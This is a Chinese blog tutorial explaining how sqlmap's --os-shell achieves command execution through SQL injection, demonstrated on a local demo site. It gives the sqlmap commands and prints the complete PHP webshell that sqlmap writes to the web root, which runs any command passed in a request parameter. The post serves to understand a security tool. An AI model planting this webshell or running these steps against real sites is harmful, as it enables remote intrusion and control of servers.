最近也是在看sqlmap,感觉--os-shell这个命令确实很厉害,但我并不知道它的原理,所以来研究一下

环境

环境就是我本地搭的一个有sql注入漏洞的一个小demo

演示

这是我们的demo环境

http://10.0.173.136/SqlNum/SqlNum.php

用sqlmap跑一下

python2 sqlmap.py -r 11.9.txt

发现确实有注入

试试--os-shell命令

python2 sqlmap.py -r 11.9.txt --os-shell

选择语言,sqlmap默认为php,此处根据需求选择

输入绝对路径

建立os-shell然后命令执行

原理研究

原理很简单,就是用into outfile函数将一个可以用来上传的php文件写到网站的根目录下

然后利用tmpukjhb.php上传了一个tmpbezal.php的文件,tmpbezal.php这个文件可以用来执行系统命令,并且将结果返回出来

tmpbezal.php代码如下:

 1 <?php
2 $c=$_REQUEST["cmd"];
3 @set_time_limit(0);
4 @ignore_user_abort(1);
5 @ini_set('max_execution_time',0);
6 $z=@ini_get('disable_functions');
7 if(!empty($z))
8 {
9 $z=preg_replace('/[, ]+/',',',$z);
10 $z=explode(',',$z);
11 $z=array_map('trim',$z);}
12 else
13 {
14 $z=array();
15 }
16 $c=$c." 2>&1\n";
17 function f($n)
18 {global $z;
19 return is_callable($n)and!in_array($n,$z);
20 }
21 if(f('system'))
22 {ob_start();
23 system($c);
24 $w=ob_get_contents();
25 ob_end_clean();
26 }elseif(f('proc_open')){
27 $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
28 $w=NULL;
29 while(!feof($t[1])){
30 $w.=fread($t[1],512);
31 }
32 @proc_close($y);
33 }
34 elseif(f('shell_exec')){
35 $w=shell_exec($c);
36 }
37 elseif(f('passthru')){
38 ob_start();
39 passthru($c);
40 $w=ob_get_contents();
41 ob_end_clean();
42 }elseif(f('popen')){
43 $x=popen($c,r);
44 $w=NULL;
45 if(is_resource($x)){
46 while(!feof($x)){
47 $w.=fread($x,512);
48 }
49 }
50 @pclose($x);
51 }elseif(f('exec')){
52 $w=array();
53 exec($c,$w);
54 $w=join(chr(10),$w).chr(10);
55 }else{
56 $w=0;
57 }
58 print "</pre>".$w."</pre>";?>'''

上述代码实现了os-shell得到了命令后,如何执行命令以及输出执行结果到os-shell中。

因此我们可以在os-shell中执行命令。

os-shell的使用条件

通过上述的分析,我们知道了sqlmap os-shell参数的用法以及原理。
很多的人会对os-shell的使用进行吐槽,这是得要多大的权限才能执行。是的,os-shell的执行条件有三个

(1)网站必须是root权限

(2)攻击者需要知道网站的绝对路径

(3)GPC为off,php主动转义的功能关闭

参考:

https://blog.csdn.net/whatday/article/details/102802273

sqlmap之--os-shell命令执行原理的更多相关文章

  1. 浅析linux 下shell命令执行和守护进程

    执行shell脚本有以下几种方式 1.相对路径方式,需先cd到脚本路径下 [root@banking tmp]# cd /tmp [root@banking tmp]# ./ceshi.sh 脚本执行 ...

  2. shell命令执行hive脚本(hive交互,hive的shell编程)

    Hive执行方式 Hive的hql命令执行方式有三种: 1.CLI 方式直接执行 2.作为字符串通过shell调用hive –e执行(-S开启静默,去掉"OK","Tim ...

  3. Saltstack限制某些shell命令执行

    在cmdmod模块中cmd.run.cmd.run_all.cmd.run_stdout等都可以执行shell命令,要静止某些shell命令,可以修改_run()这个函数来彻底的静止调用这个命令. c ...

  4. python输出shell命令执行结果

    import os,subprocess p = subprocess.Popen("df -h", shell=True, stdout=subprocess.PIPE) out ...

  5. hdfs shell 命令以及原理

    shell 操作 dfs 上传[hadoop@namenode ~]$ /data/hadoop/bin/hadoop fs -put /opt/MegaRAID/MegaCli/MegaCli64 ...

  6. 【linux】linux 下 shell命令 执行结果赋值给变量【两种方式】

    方法1:[通用方法] 使用Tab键上面的反引号 例子如下: find命令 模糊查询在/apps/swapping目录下 查找 文件名中包含swapping并且以.jar结尾的文件 使用反引号 引住命令 ...

  7. Linux下shell命令执行过程简介

    Linux是如何寻找命令路径的:http://c.biancheng.net/view/5969.html Linux上命令运行的基本过程:https://blog.csdn.net/hjx5200/ ...

  8. tar -cvzf a.tar.gz a --remove-files,tar命令执行原理

    tar -cvzf  a.tar.gz a --remove-files [root@nfs01 backup]# tar -zcvf  88.tar.gz    --remove-files  /b ...

  9. shell命令的原理

    https://blog.csdn.net/m0_37925202/article/details/80258974 https://blog.csdn.net/a15929748502/articl ...

随机推荐

  1. [BUUCTF]REVERSE——rsa

    rsa 附件 题目是rsa,首先了解一下什么是rsa加密,具体的看这个文章 首先大概介绍下RSA加密解密 RSA加密是对明文的E次方后除以N后求余数的过程 公钥n = p * q,其中p和q是两个大素 ...

  2. Codeforces GYM 100876 J - Buying roads 题解

    Codeforces GYM 100876 J - Buying roads 题解 才不是因为有了图床来测试一下呢,哼( 题意 给你\(N\)个点,\(M\)条带权边的无向图,选出\(K\)条边,使得 ...

  3. navicat模型分享方法

    一. 查看模型保存路径选中模型如:<app-订单模型>,点击右键,对象信息,可以看到文件位置:C:\Users\Administrator\Documents\Navicat\Premiu ...

  4. P1753HackSon的趣味题

    1 #include<stdio.h> 2 #include<algorithm> 3 #include<iostream> 4 #include<stdli ...

  5. Codeforces 1076G Array Game 题解

    目录 题目大意 做法 代码 不想写昨天晚上cf的比赛题目所以来写题解摸摸鱼 题目大意 有一个在长度为\(k\)的正整数序列\(b\)上进行的游戏,一开始一个棋子放在位置\(1\),假如当前棋子的位置为 ...

  6. 【项目管理】《IT项目管理》Kathy Schwalbe 第1章 总论

    博主:海底淤泥 1.为什么项目管理领域引起了大家的兴趣 1.更好控制财力.物力.人力资源 2.改进客户关系 3.缩短开发时间 4.降低成本和提高生产率 5.提高质量和可靠性 6.更大的边际利益空间 7 ...

  7. 「Codeforces 79D」Password

    Description 有一个 01 序列 \(a_1,a_2,\cdots,a_n\),初始时全为 \(0\). 给定 \(m\) 个长度,分别为 \(l_1\sim l_m\). 每次可以选择一个 ...

  8. C++中常用的数学函数总结

    我们在C++程序设计的过程中往往会使用到一些数学函数,那么不同的数学运算要用到什么函数哪?大家可以参考我的总结如下: 首先引用到数学函数时一定要记得加函数头文件 #include<cmath&g ...

  9. Unsupervised Domain Adaptation by Backpropagation

    目录 概 主要内容 代码 Ganin Y. and Lempitsky V. Unsupervised Domain Adaptation by Backpropagation. ICML 2015. ...

  10. 图片 Augmentation整理

    目录 Augmentation Flipping 翻转 Grayscale Equalize 均衡直方图 Posterize 减少颜色通道位数 Cropping Rotation Translatio ...